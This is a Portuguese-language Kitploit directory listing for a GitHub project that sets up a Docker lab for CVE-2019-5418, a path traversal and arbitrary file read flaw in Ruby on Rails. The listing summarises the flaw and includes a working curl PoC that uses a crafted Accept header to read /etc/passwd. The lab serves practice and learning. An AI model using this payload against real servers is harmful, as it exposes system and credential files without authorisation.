Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-5418 — Ambiente de laboratório baseado em Docker para exploração de path traversal no Ruby on Rails CVE-2019-5418, com comandos curl PoC para ler arquivos arbitrários do servidor por meio de cabeçalhos Accept manipulados. | Kitploit
Ferramentas/GitHubGitHub/daehyeok0618/cve-2019-5418
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdaehyeok0618/cve-2019-5418

CVE-2019-5418

Ambiente de laboratório baseado em Docker para exploração de path traversal no Ruby on Rails CVE-2019-5418, com comandos curl PoC para ler arquivos arbitrários do servidor por meio de cabeçalhos Accept manipulados.

Ver Repositório
19há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-5418: Ruby on Rails Path Traversal & Arbitrary File Read

Este projeto é um ambiente para praticar e reproduzir a vulnerabilidade de inclusão de arquivo local do Ruby on Rails (CVE-2019-5418). Essa vulnerabilidade permite a leitura de arquivos arbitrários no servidor através de path traversal no cabeçalho Accept.

Resumo da Vulnerabilidade

Ruby on Rails (Ruby on Rails) é um framework de aplicações web que permite aos desenvolvedores construir aplicações web de forma rápida e fácil.

As views de trabalho do Ruby on Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 e v3 possuem uma vulnerabilidade de inclusão de arquivo local.

Quando usado no controlador para renderizar views fora da aplicação com render file, o Rails determina a localização do arquivo com base no cabeçalho Accept fornecido pelo usuário. Ao enviar um cabeçalho Accept com o valor Accept: ../../../../../../../../etc/passwd{{, o atacante pode explorar a vulnerabilidade de path traversal para ler arquivos arbitrários.

Configuração do Ambiente

Execute os seguintes comandos para compilar e iniciar o Ruby on Rails 5.2.2:

docker compose build
docker compose up -d

Após iniciar o servidor, acesse http://your-ip:3000 para visitar a página do Ruby on Rails. image1

Exemplo de PoC

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots

image2 Leu com sucesso um arquivo arbitrário do servidor através do cabeçalho Accept.

Baixar ferramenta